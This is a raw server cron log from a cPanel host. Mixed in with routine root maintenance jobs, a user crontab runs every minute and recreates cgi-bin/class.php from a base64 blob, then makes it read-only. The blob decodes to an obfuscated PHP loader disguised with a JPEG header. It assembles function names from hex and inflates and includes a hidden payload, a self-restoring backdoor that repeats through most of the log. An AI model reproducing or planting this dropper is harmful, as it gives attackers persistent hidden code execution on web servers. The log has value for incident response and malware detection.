Sep  3 11:29:01 server CROND[24394]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:29:01 server CROND[24396]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:30:01 server CROND[24777]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 11:30:01 server CROND[24778]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 11:30:01 server CROND[24779]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 11:30:01 server CROND[24784]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 11:30:01 server CROND[24785]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:30:01 server CROND[24782]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:30:01 server CROND[24781]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 11:30:01 server CROND[24783]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:31:01 server CROND[25615]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:31:01 server CROND[25616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:31:01 server CROND[25617]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:32:01 server CROND[25992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:32:01 server CROND[25993]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:32:01 server CROND[25994]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:33:01 server CROND[26472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:33:01 server CROND[26473]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:33:01 server CROND[26474]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:34:01 server CROND[26851]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:34:01 server CROND[26852]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:34:01 server CROND[26853]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:35:01 server CROND[27246]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 11:35:01 server CROND[27248]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 11:35:01 server CROND[27250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:35:01 server CROND[27256]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:35:01 server CROND[27254]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:35:01 server CROND[27255]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 11:35:01 server CROND[27258]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 11:35:01 server CROND[27251]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  3 11:35:01 server CROND[27252]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 11:36:01 server CROND[28075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:36:01 server CROND[28076]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:36:01 server CROND[28077]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:37:01 server CROND[28456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:37:01 server CROND[28455]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:37:01 server CROND[28457]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:38:01 server CROND[28936]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:38:01 server CROND[28938]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:38:01 server CROND[28937]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:39:01 server CROND[29310]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:39:01 server CROND[29311]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:39:01 server CROND[29312]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 11:39:01 server CROND[29313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:40:01 server CROND[29707]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 11:40:01 server CROND[29709]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 11:40:01 server CROND[29712]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 11:40:01 server CROND[29715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:40:01 server CROND[29713]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 11:40:01 server CROND[29714]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 11:40:01 server CROND[29717]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:40:01 server CROND[29716]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0h